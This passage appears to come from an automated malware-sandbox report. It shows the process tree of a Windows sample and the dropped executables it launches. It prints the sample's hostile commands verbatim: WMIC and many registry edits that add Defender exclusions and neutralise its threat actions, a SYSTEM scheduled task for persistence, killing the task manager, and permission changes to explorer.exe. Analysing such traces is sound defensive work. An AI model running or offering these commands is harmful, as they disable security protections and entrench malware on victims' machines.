                                                                            "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                            11⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:5748
                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                      schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 11:29:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS68F6.tmp\Install.exe\" it /CZtdidUQhM 385118 /S" /V1 /F
                                                                      8⤵
                                                                      • Drops file in Windows directory
                                                                      • Creates scheduled task(s)
                                                                      PID:2472
                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
                                                                      8⤵
                                                                        PID:1508
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                                          9⤵
                                                                            PID:4376
                                                                            • \??\c:\windows\SysWOW64\schtasks.exe
                                                                              schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                                              10⤵
                                                                                PID:5184
                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
                                                                      5⤵
                                                                        PID:5740
                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                    taskkill /f /im taskmgr.exe
                                                                    3⤵
                                                                    • Kills process with taskkill
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:4892
                                                                  • C:\Users\Admin\AppData\Local\Temp\vir_a5005a44-5f66-4095-ab52-3b98a104fe32\wimloader.dll
                                                                    wimloader.dll
                                                                    3⤵
                                                                    • Executes dropped EXE
                                                                    PID:824
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\wimloader_95f99f80-a2e4-43b7-aa00-93c67b768adb\caller.cmd" "
                                                                      4⤵
                                                                        PID:5852
                                                                    • C:\Users\Admin\AppData\Local\Temp\vir_a5005a44-5f66-4095-ab52-3b98a104fe32\ac3.exe
                                                                      ac3.exe
                                                                      3⤵
                                                                      • Executes dropped EXE
                                                                      • Suspicious behavior: GetForegroundWindowSpam
                                                                      PID:3676
                                                                    • C:\Windows\SysWOW64\notepad.exe
                                                                      "C:\Windows\System32\notepad.exe" "C:\Users\Admin\AppData\Local\Temp\vir_a5005a44-5f66-4095-ab52-3b98a104fe32\shell1.txt.ps1"
                                                                      3⤵
                                                                        PID:5096
                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                        icacls c:\Windows\explorer.exe /grant Admin:(F,M)
                                                                        3⤵
                                                                        • Modifies file permissions
                                                                        PID:4044
                                                                      • C:\Windows\SysWOW64\timeout.exe
                                                                        timeout /t 15
                                                                        3⤵
                                                                        • Delays execution with timeout.exe
                                                                        PID:5592
                                                                      • C:\Users\Admin\AppData\Local\Temp\vir_a5005a44-5f66-4095-ab52-3b98a104fe32\jaffa.exe
                                                                        jaffa.exe
                                                                        3⤵
                                                                        • Checks computer location settings
                                                                        • Executes dropped EXE
                                                                        • Drops file in System32 directory
                                                                        • Drops file in Windows directory
                                                                        • Modifies registry class
                                                                        • Suspicious use of FindShellTrayWindow
                                                                        • Suspicious use of SendNotifyMessage
                                                                        PID:2296
                                                                        • C:\Windows\SysWOW64\pkcrglesxc.exe
                                                                          pkcrglesxc.exe
                                                                          4⤵
                                                                          • Modifies visibility of file extensions in Explorer
                                                                          • Modifies visiblity of hidden/system files in Explorer
                                                                          • Windows security bypass
                                                                          • Disables RegEdit via registry modification
                                                                          • Executes dropped EXE
                                                                          • Windows security modification
                                                                          • Enumerates connected drives
                                                                          • Modifies WinLogon
                                                                          • Drops file in System32 directory
                                                                          • Modifies registry class
                                                                          • Suspicious use of FindShellTrayWindow
                                                                          • Suspicious use of SendNotifyMessage
                                                                          PID:6048
                                                                          • C:\Windows\SysWOW64\cywancya.exe
                                                                            C:\Windows\system32\cywancya.exe
                                                                            5⤵
                                                                            • Executes dropped EXE
                                                                            • Suspicious use of FindShellTrayWindow
                                                                            • Suspicious use of SendNotifyMessage
                                                                            PID:3936
                                                                        • C:\Windows\SysWOW64\okobmkkdxwlvsuk.exe
                                                                          okobmkkdxwlvsuk.exe
                                                                          4⤵
                                                                          • Executes dropped EXE
                                                                          • Adds Run key to start application
                                                                          • Suspicious use of FindShellTrayWindow
                                                                          • Suspicious use of SendNotifyMessage
                                                                          PID:2648
                                                                        • C:\Windows\SysWOW64\cywancya.exe
                                                                          cywancya.exe
                                                                          4⤵
                                                                          • Executes dropped EXE
                                                                          • Enumerates connected drives
                                                                          • Suspicious use of FindShellTrayWindow
                                                                          • Suspicious use of SendNotifyMessage
                                                                          PID:776
                                                                        • C:\Windows\SysWOW64\sykuktsmgqinu.exe
                                                                          sykuktsmgqinu.exe
                                                                          4⤵
                                                                          • Executes dropped EXE
                                                                          • Suspicious use of FindShellTrayWindow
                                                                          • Suspicious use of SendNotifyMessage
                                                                          PID:5196
                                                                        • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
                                                                          "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Windows\mydoc.rtf" /o ""
                                                                          4⤵
                                                                          • Drops file in Windows directory
                                                                          • Suspicious behavior: AddClipboardFormatListener
                                                                          • Suspicious use of SetWindowsHookEx
                                                                          PID:2504
                                                                      • C:\Windows\SysWOW64\timeout.exe
                                                                        timeout /t 15
                                                                        3⤵
                                                                        • Delays execution with timeout.exe
                                                                        PID:4348
                                                                    • C:\Users\Admin\AppData\Local\Temp\b323f8b9-8328-4dd7-8a2d-e38970c74ae2\packer.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\b323f8b9-8328-4dd7-8a2d-e38970c74ae2\packer.exe" "C:\Users\Admin\AppData\Local\Temp\b323f8b9-8328-4dd7-8a2d-e38970c74ae2\unpacker.exe" "C:\Users\Admin\AppData\Local\Temp\vir.exe" "main.cmd" "C:\Users\Admin\AppData\Local\Temp\vir_a5005a44-5f66-4095-ab52-3b98a104fe32" "" True True False 0 -repack
                                                                      2⤵
                                                                      • Executes dropped EXE
                                                                      PID:3560
                                                                  • C:\Windows\System32\CompPkgSrv.exe
                                                                    C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                    1⤵
                                                                      PID:4784
                                                                    • C:\Windows\System32\CompPkgSrv.exe
                                                                      C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                      1⤵
                                                                        PID:5256
                                                                      • C:\Windows\system32\AUDIODG.EXE
                                                                        C:\Windows\system32\AUDIODG.EXE 0x2d0 0x2f4
                                                                        1⤵
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:5780
                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 3520 -ip 3520
                                                                        1⤵
                                                                          PID:3684
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                          1⤵
                                                                            PID:5620
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                            1⤵
                                                                              PID:5864
                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS68F6.tmp\Install.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\7zS68F6.tmp\Install.exe it /CZtdidUQhM 385118 /S
                                                                              1⤵
                                                                              • Executes dropped EXE
                                                                              • Drops desktop.ini file(s)
                                                                              • Drops file in System32 directory
                                                                              • Modifies data under HKEY_USERS
                                                                              PID:2340
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                2⤵
                                                                                  PID:5412
                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                    3⤵
                                                                                      PID:3204
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                        4⤵
                                                                                          PID:5208
                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                            5⤵
                                                                                              PID:1500
                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                          forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                          3⤵
                                                                                            PID:876
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                              4⤵
                                                                                                PID:3688
                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                  5⤵
                                                                                                    PID:640
                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                3⤵
                                                                                                  PID:2364
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                    4⤵
                                                                                                      PID:4360
                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                        5⤵
                                                                                                          PID:5756
                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                      3⤵
                                                                                                        PID:2832
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                          4⤵
                                                                                                            PID:6056
                                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                              5⤵
                                                                                                                PID:5484
                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                            forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                            3⤵
                                                                                                              PID:2536
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                4⤵
                                                                                                                  PID:2244
                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                    5⤵
                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                    • Drops file in System32 directory
                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    PID:3444
                                                                                                                    • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                      "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                      6⤵
                                                                                                                        PID:6132
                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                                                                2⤵
                                                                                                                • Drops file in System32 directory
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:4492
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                  3⤵
                                                                                                                    PID:5308
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                      4⤵
                                                                                                                        PID:2724
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                                                      3⤵
                                                                                                                        PID:5908
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                                                        3⤵
                                                                                                                          PID:5232
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                                          3⤵
                                                                                                                            PID:5532
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                                            3⤵
                                                                                                                              PID:5084
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                                              3⤵
                                                                                                                                PID:2260
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                                                3⤵
                                                                                                                                  PID:5460
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:5788
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                                                                    3⤵
                                                                                                                                      PID:5684
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                                                                      3⤵
                                                                                                                                        PID:5940
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                                                                        3⤵
                                                                                                                                          PID:2200
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                                                          3⤵
                                                                                                                                            PID:3176
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                                                            3⤵
                                                                                                                                              PID:324
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                                                              3⤵
                                                                                                                                                PID:4592
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                                                                3⤵
                                                                                                                                                  PID:384
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                                                                  3⤵
                                                                                                                                                    PID:1560
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                    3⤵
                                                                                                                                                      PID:5768
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                      3⤵
                                                                                                                                                        PID:1052
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                        3⤵
                                                                                                                                                          PID:5592
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                          3⤵
                                                                                                                                                            PID:5204
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                                                            3⤵
                                                                                                                                                              PID:5256
                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                                                              3⤵
                                                                                                                                                                PID:1112
                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:3864
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:5600
                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:1556
                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:3980
                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:3316
                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:5504
                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
